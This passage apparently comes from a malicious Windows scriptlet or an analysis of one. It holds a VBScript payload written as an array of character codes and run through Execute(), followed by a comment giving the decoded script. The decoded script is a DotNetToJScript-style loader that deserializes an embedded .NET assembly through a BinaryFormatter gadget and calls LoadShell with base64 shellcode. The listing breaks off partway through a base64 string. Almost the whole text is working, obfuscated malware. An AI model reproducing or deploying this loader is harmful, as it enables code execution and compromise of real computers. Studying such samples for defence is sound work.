81,84,47,68,120,56,65,66,65,69,65,65,65,65,69,65,103,65,65,65,65,81,73,65,65,65,65,66,66,65,65,65,65,65,69,73,65,65,65,65,65,82,65,65,65,65,65,66,73,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,69,65,65,69,65,65,65,81,65,65,103,65,65,66,65,65,69,65,65,65,69,65,66,65,65,65,65,81,65,65,66,65,65,66,65,65,65,65,65,65,69,65,65,65,65,65,81,81,65,65,65,65,69,66,65,65,65,65,65,103,69,65,65,65,69,65,65,81,65,65,65,65,67,34,10,115,32,61,32,115,32,38,32,34,66,65,81,65,65,65,65,69,65,65,65,73,65,65,81,65,65,65,69,65,65,103,89,74,65,119,89,82,68,65,77,71,69,82,65,67,66,103,52,67,66,103,89,67,66,103,103,68,66,104,69,99,66,103,65,66,72,81,85,100,66,81,89,103,65,119,69,79,68,103,103,70,73,65,73,66,34,10,115,32,61,32,115,32,38,32,34,68,103,103,70,65,65,73,75,68,103,103,70,65,65,69,67,69,66,103,69,65,65,69,67,71,65,99,65,66,66,103,89,67,81,107,74,66,103,65,68,65,104,103,74,67,81,111,65,66,104,103,74,67,82,103,89,67,82,65,74,66,81,65,67,67,82,103,74,66,119,65,68,71,66,69,99,34,10,115,32,61,32,115,32,38,32,34,65,103,103,75,65,65,85,67,71,66,103,100,66,81,103,81,71,65,89,65,65,120,103,89,71,66,103,73,65,65,85,89,71,66,103,73,67,81,107,74,65,65,85,67,71,66,103,73,67,82,65,74,69,103,65,75,65,103,52,79,71,66,103,67,69,82,65,89,68,104,65,82,71,66,65,82,34,10,115,32,61,32,115,32,38,32,34,70,65,81,65,65,81,107,89,65,119,65,65,65,81,103,66,65,65,103,65,65,65,65,65,65,66,52,66,65,65,69,65,86,65,73,87,86,51,74,104,99,69,53,118,98,107,86,52,89,50,86,119,100,71,108,118,98,108,82,111,99,109,57,51,99,119,69,73,65,81,65,67,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,76,65,81,65,71,98,71,57,104,90,71,86,121,65,65,65,70,65,81,65,65,65,65,65,88,65,81,65,83,81,50,57,119,101,88,74,112,90,50,104,48,73,77,75,112,73,67,65,121,77,68,69,51,65,65,65,112,65,81,65,107,78,84,108,104,90,68,69,49,90,68,73,116,34,10,115,32,61,32,115,32,38,32,34,78,106,73,52,77,67,48,48,77,71,81,48,76,87,73,122,77,68,89,116,78,68,108,106,89,106,66,105,90,87,73,122,77,109,81,119,65,65,65,77,65,81,65,72,77,83,52,119,76,106,65,117,77,65,65,65,66,81,69,65,65,81,65,65,65,65,65,65,65,66,88,55,115,70,107,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,103,65,65,65,66,119,66,65,65,65,107,79,119,65,65,74,66,48,65,65,70,74,84,82,70,80,97,85,87,83,109,77,72,104,99,83,97,51,80,101,65,106,48,111,74,47,79,65,81,65,65,65,69,85,54,88,72,66,121,97,88,90,99,90,110,74,104,98,87,86,51,34,10,115,32,61,32,115,32,38,32,34,98,51,74,114,88,71,78,118,90,71,86,99,100,71,57,118,98,72,78,99,90,88,104,108,77,109,112,122,88,71,120,118,89,87,82,108,99,108,120,118,89,109,112,99,85,109,86,115,90,87,70,122,90,86,120,115,98,50,70,107,90,88,73,117,99,71,82,105,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,97,68,119,65,65,65,65,65,65,65,65,65,65,65,65,65,103,106,119,65,65,65,65,103,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,72,81,56,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,88,48,78,118,99,107,82,115,98,69,49,104,97,87,52,65,98,88,78,106,98,51,74,108,90,83,53,107,98,71,119,65,65,65,65,65,65,80,56,108,65,67,65,65,69,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,81,65,81,65,65,65,65,71,65,65,65,103,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,81,65,66,65,65,65,65,77,65,65,65,34,10,115,32,61,32,115,32,38,32,34,103,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,81,65,65,65,65,65,65,83,65,65,65,65,70,104,65,65,65,65,77,65,119,65,65,65,65,65,65,65,65,65,65,65,65,65,77,65,122,81,65,65,65,66,87,65,70,77,65,88,119,66,87,65,69,85,65,34,10,115,32,61,32,115,32,38,32,34,85,103,66,84,65,69,107,65,84,119,66,79,65,70,56,65,83,81,66,79,65,69,89,65,84,119,65,65,65,65,65,65,118,81,84,118,47,103,65,65,65,81,65,65,65,65,69,65,65,65,65,65,65,65,65,65,65,81,65,65,65,65,65,65,80,119,65,65,65,65,65,65,65,65,65,69,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,103,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,69,81,65,65,65,65,66,65,70,89,65,89,81,66,121,65,69,89,65,97,81,66,115,65,71,85,65,83,81,66,117,65,71,89,65,98,119,65,65,65,65,65,65,74,65,65,69,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,86,65,66,121,65,71,69,65,98,103,66,122,65,71,119,65,89,81,66,48,65,71,107,65,98,119,66,117,65,65,65,65,65,65,65,65,65,76,65,69,98,65,73,65,65,65,69,65,85,119,66,48,65,72,73,65,97,81,66,117,65,71,99,65,82,103,66,112,65,71,119,65,90,81,66,74,34,10,115,32,61,32,115,32,38,32,34,65,71,52,65,90,103,66,118,65,65,65,65,83,65,73,65,65,65,69,65,77,65,65,119,65,68,65,65,77,65,65,119,65,68,81,65,89,103,65,119,65,65,65,65,71,103,65,66,65,65,69,65,81,119,66,118,65,71,48,65,98,81,66,108,65,71,52,65,100,65,66,122,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,67,73,65,65,81,65,66,65,69,77,65,98,119,66,116,65,72,65,65,89,81,66,117,65,72,107,65,84,103,66,104,65,71,48,65,90,81,65,65,65,65,65,65,65,65,65,65,65,68,89,65,66,119,65,66,65,69,89,65,97,81,66,115,65,71,85,65,82,65,66,108,34,10,115,32,61,32,115,32,38,32,34,65,72,77,65,89,119,66,121,65,71,107,65,99,65,66,48,65,71,107,65,98,119,66,117,65,65,65,65,65,65,66,115,65,71,56,65,89,81,66,107,65,71,85,65,99,103,65,65,65,65,65,65,77,65,65,73,65,65,69,65,82,103,66,112,65,71,119,65,90,81,66,87,65,71,85,65,34,10,115,32,61,32,115,32,38,32,34,99,103,66,122,65,71,107,65,98,119,66,117,65,65,65,65,65,65,65,120,65,67,52,65,77,65,65,117,65,68,65,65,76,103,65,119,65,65,65,65,78,103,65,76,65,65,69,65,83,81,66,117,65,72,81,65,90,81,66,121,65,71,52,65,89,81,66,115,65,69,52,65,89,81,66,116,34,10,115,32,61,32,115,32,38,32,34,65,71,85,65,65,65,66,115,65,71,56,65,89,81,66,107,65,71,85,65,99,103,65,117,65,71,81,65,98,65,66,115,65,65,65,65,65,65,66,73,65,66,73,65,65,81,66,77,65,71,85,65,90,119,66,104,65,71,119,65,81,119,66,118,65,72,65,65,101,81,66,121,65,71,107,65,34,10,115,32,61,32,115,32,38,32,34,90,119,66,111,65,72,81,65,65,65,66,68,65,71,56,65,99,65,66,53,65,72,73,65,97,81,66,110,65,71,103,65,100,65,65,103,65,75,107,65,73,65,65,103,65,68,73,65,77,65,65,120,65,68,99,65,65,65,65,113,65,65,69,65,65,81,66,77,65,71,85,65,90,119,66,104,34,10,115,32,61,32,115,32,38,32,34,65,71,119,65,86,65,66,121,65,71,69,65,90,65,66,108,65,71,48,65,89,81,66,121,65,71,115,65,99,119,65,65,65,65,65,65,65,65,65,65,65,68,52,65,67,119,65,66,65,69,56,65,99,103,66,112,65,71,99,65,97,81,66,117,65,71,69,65,98,65,66,71,65,71,107,65,34,10,115,32,61,32,115,32,38,32,34,98,65,66,108,65,71,52,65,89,81,66,116,65,71,85,65,65,65,66,115,65,71,56,65,89,81,66,107,65,71,85,65,99,103,65,117,65,71,81,65,98,65,66,115,65,65,65,65,65,65,65,117,65,65,99,65,65,81,66,81,65,72,73,65,98,119,66,107,65,72,85,65,89,119,66,48,34,10,115,32,61,32,115,32,38,32,34,65,69,52,65,89,81,66,116,65,71,85,65,65,65,65,65,65,71,119,65,98,119,66,104,65,71,81,65,90,81,66,121,65,65,65,65,65,65,65,48,65,65,103,65,65,81,66,81,65,72,73,65,98,119,66,107,65,72,85,65,89,119,66,48,65,70,89,65,90,81,66,121,65,72,77,65,34,10,115,32,61,32,115,32,38,32,34,97,81,66,118,65,71,52,65,65,65,65,120,65,67,52,65,77,65,65,117,65,68,65,65,76,103,65,119,65,65,65,65,79,65,65,73,65,65,69,65,81,81,66,122,65,72,77,65,90,81,66,116,65,71,73,65,98,65,66,53,65,67,65,65,86,103,66,108,65,72,73,65,99,119,66,112,34,10,115,32,61,32,115,32,38,32,34,65,71,56,65,98,103,65,65,65,68,69,65,76,103,65,119,65,67,52,65,77,65,65,117,65,68,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,77,65,65,65,68,65,65,65,65,74,81,56,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,69,78,65,65,65,65,66,65,65,65,65,65,107,88,65,65,65,65,67,81,89,65,65,65,65,74,70,103,65,65,65,65,89,97,65,65,65,65,74,49,78,53,99,51,82,108,98,83,53,83,90,87,90,115,90,87,78,48,97,87,57,117,76,107,70,122,34,10,115,32,61,32,115,32,38,32,34,99,50,86,116,89,109,120,53,73,69,120,118,89,87,81,111,81,110,108,48,90,86,116,100,75,81,103,65,65,65,65,75,67,119,65,65,34,10,101,110,116,114,121,95,99,108,97,115,115,32,61,32,34,84,101,115,116,67,108,97,115,115,34,10,10,68,105,109,32,102,109,116,44,32,97,108,44,32,100,44,32,111,10,83,101,116,32,102,109,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,83,101,114,105,97,108,105,122,97,116,105,111,110,46,70,111,114,109,97,116,116,101,114,115,46,66,105,110,97,114,121,46,66,105,110,97,114,121,70,111,114,109,97,116,116,101,114,34,41,10,83,101,116,32,97,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,34,41,10,97,108,46,65,100,100,32,102,109,116,46,83,117,114,114,111,103,97,116,101,83,101,108,101,99,116,111,114,10,10,83,101,116,32,100,32,61,32,102,109,116,46,68,101,115,101,114,105,97,108,105,122,101,95,50,40,66,97,115,101,54,52,84,111,83,116,114,101,97,109,40,115,41,41,10,83,101,116,32,111,32,61,32,100,46,68,121,110,97,109,105,99,73,110,118,111,107,101,40,97,108,46,84,111,65,114,114,97,121,40,41,41,46,67,114,101,97,116,101,73,110,115,116,97,110,99,101,40,101,110,116,114,121,95,99,108,97,115,115,41,10,115,104,108,61,34,34,10,115,104,108,61,115,104,108,38,34,43,47,79,105,107,52,71,66,73,97,72,122,113,101,71,108,108,79,52,103,103,43,52,103,110,117,52,103,107,101,52,105,68,102,55,116,88,109,113,71,47,119,48,80,114,76,70,74,114,71,72,83,85,84,104,52,110,112,102,120,43,75,77,80,81,101,72,100,81,81,76,100,84,106,97,77,34,10,115,104,108,61,115,104,108,38,34,70,55,111,100,75,108,111,80,108,72,103,120,88,103,106,111,57,112,68,111,106,108,66,103,118,80,122,89,120,114,80,98,112,74,118,120,71,108,103,88,87,76,51,70,103,57,73,118,122,76,85,47,114,71,116,86,83,104,57,70,100,69,101,111,77,70,53,79,54,43,98,120,55,111,54,81,34,10,115,104,108,61,115,104,108,38,34,89,98,122,99,122,100,76,78,101,75,72,84,82,85,85,108,79,106,111,120,77,105,114,119,47,52,79,73,43,75,104,117,111,100,100,116,115,82,108,53,113,83,85,77,71,101,87,90,101,90,107,104,71,84,55,108,97,117,122,47,114,55,53,111,65,68,114,81,78,55,56,113,77,121,99,110,34,10,115,104,108,61,115,104,108,38,34,85,100,57,69,122,48,66,66,73,122,107,47,116,121,67,120,74,68,77,112,74,57,86,97,119,84,102,89,48,49,88,66,81,115,47,65,87,105,69,56,77,121,56,108,118,55,120,89,119,83,57,69,119,85,122,80,81,74,77,104,103,111,113,65,73,100,76,119,102,122,103,81,66,71,90,89,34,10,115,104,108,61,115,104,108,38,34,104,86,85,117,47,51,47,49,53,87,83,103,109,54,73,78,84,119,89,71,90,106,69,72,66,109,98,115,90,109,82,103,67,65,55,73,67,79,43,99,102,43,122,47,49,99,55,68,114,54,115,105,68,83,56,70,90,84,65,89,76,87,103,74,67,103,111,75,68,65,114,73,101,66,50,113,34,10,115,104,108,61,115,104,108,38,34,90,119,50,85,79,90,98,82,89,77,122,65,48,80,107,103,105,121,85,103,83,122,52,115,111,57,82,116,88,116,118,47,113,120,67,84,119,122,74,48,50,83,83,113,47,49,56,70,66,113,113,72,52,102,47,87,98,121,85,115,110,84,57,102,99,50,97,115,79,118,111,111,70,113,106,120,34,10,115,104,108,61,115,104,108,38,34,89,73,97,114,89,112,119,104,87,71,48,87,101,50,66,89,81,77,98,50,56,65,102,99,47,54,47,117,90,57,66,110,89,76,65,56,88,115,114,83,101,101,78,49,108,43,72,47,49,54,75,118,80,86,56,48,47,118,47,47,88,57,43,112,111,77,105,67,103,83,72,106,119,57,90,70,34,10,115,104,108,61,115,104,108,38,34,89,102,43,118,90,106,108,107,77,65,103,65,101,81,119,77,68,103,122,104,71,82,70,76,103,112,47,43,118,122,111,53,79,76,106,122,101,88,103,71,103,119,76,81,52,87,69,90,81,116,77,54,72,52,71,116,80,116,118,78,122,110,105,52,57,85,68,112,48,52,106,68,76,50,83,66,34,10,115,104,108,61,115,104,108,38,34,66,104,87,88,112,67,98,109,54,117,87,107,74,104,98,108,90,101,97,108,54,121,89,87,90,79,111,66,65,53,56,66,65,65,61,61,34,10,10,111,46,76,111,97,100,83,104,101,108,108,32,115,104,108,44,32,52,10,69,110,100,32,83,117,98,10,10,83,101,116,86,101,114,115,105,111,110,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,10,82,117,110,10,73,102,32,69,114,114,46,78,117,109,98,101,114,32,60,62,32,48,32,84,104,101,110,10,32,32,68,101,98,117,103,80,114,105,110,116,32,69,114,114,46,68,101,115,99,114,105,112,116,105,111,110,10,32,32,69,114,114,46,67,108,101,97,114,10,69,110,100,32,73,102,10): cmd="": For each c in cs: cmd=cmd&Chr(c): Next: cmd=cmd&vbcrlf: Execute(cmd)
</SCRIPT>
</SCRIPTLET>
## cs array decodes to:
Sub DebugPrint(s)
End Sub
Sub SetVersion
Dim shell
Set shell = CreateObject("WScript.Shell")
Dim ver
ver = "v4.0.30319"
On Error Resume Next
shell.RegRead "HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\"
If Err.Number <> 0 Then
ver = "v2.0.50727"
Err.Clear
End If
shell.Environment("Process").Item("COMPLUS_Version") = ver
End Sub
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set enc = CreateObject("System.Text.ASCIIEncoding")
length = enc.GetByteCount_2(b)
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
Set ms = CreateObject("System.IO.MemoryStream")
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
ms.Position = 0
Set Base64ToStream = ms
End Function
Sub Run
Dim s, entry_class
s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"
s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"
s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"
s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"
s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"
s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"
s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"
s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"
s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"
s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"
s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"
s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"
s = s & "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"
s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"
s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"
s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"
s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"
s = s & "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"
s = s & "ZW1ibHkGFwAAAARMb2FkCg8MAAAAACYAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"
s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAFfuwWQAAAAAA"
s = s & "AAAA4AAiIAsBMAAAHgAAAAYAAAAAAACSPAAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"
s = s & "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAQDwA"
s = s & "AE8AAAAAQAAAaAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAg7AAAcAAAAAAAAAAAAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"
s = s & "AAAALnRleHQAAACYHAAAACAAAAAeAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAaAMAAABA"
s = s & "AAAABAAAACAAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAkAAAAAAAAAAAA"
s = s & "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAHQ8AAAAAAAASAAAAAIABQAIJAAAABcAAAEAAAAAAAAA"
s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEzABABUAAAAB"
s = s & "AAARAigPAAAKfhAAAAoKEgAoBwAABiYqAAAAGzAEAEoAAAACAAARAnMRAAAKcxIAAAoKH2SNFwAA"
s = s & "AQsWcxMAAAoMFg0rCQYHFglvFAAACggHFh9kbxUAAAolDRYw6N4KCCwGCG8WAAAK3AZvFwAACioA"
s = s & "AAEQAAACABsAHjkACgAAAAATMAoAXwEAAAMAABEoGAAACgUuBgU61QAAAAMoGQAACigCAAAGChIB"
s = s & "/hUGAAACEgL+FQUAAAIUBH4QAAAKfhAAAAoWIAQAAAh+EAAAChQSARICKBIAAAYmCHskAAAEfhAA"
s = s & "AAoGjml+AQAABH4CAAAEKBAAAAYNfhAAAAoTBAh7JAAABAkGBo5pEgQoDgAABiYWEwUIeyQAAAQJ"
s = s & "Bo5pfgMAAAQSBSgRAAAGJgh7JgAABCgaAAAKbxsAAAoTBh8QFhEGFm8cAAAKbx0AAAooDQAABhMH"
s = s & "CREHfhAAAAooDwAABiYIeyUAAAQoEwAABiYrdSgeAAAKEwgRCBEIHyBvHwAACm8gAAAKEwgFHjMt"
s = s & "KCEAAApvIgAACm8jAAAKbyQAAApyAQAAcHITAABwbyUAAAoRCCgmAAAKJisrKCEAAApvIgAACm8j"
s = s & "AAAKbyQAAApyEwAAcHIBAABwbyUAAAoRCCgmAAAKJhYoJwAACioAEzAGANkAAAAEAAARKBgAAAoE"
s = s & "LgMELVIDKBkAAAooAgAABgp+EAAACgaOaX4BAAAEfgMAAAQoCQAABgsGFgcGjmkoKAAACn4QAAAK"
s = s & "JhYMfhAAAAoNFhYHCRYSAigLAAAGFSgMAAAGJit1KB4AAAoTBBEEEQQfIG8fAAAKbyAAAAoTBAQe"
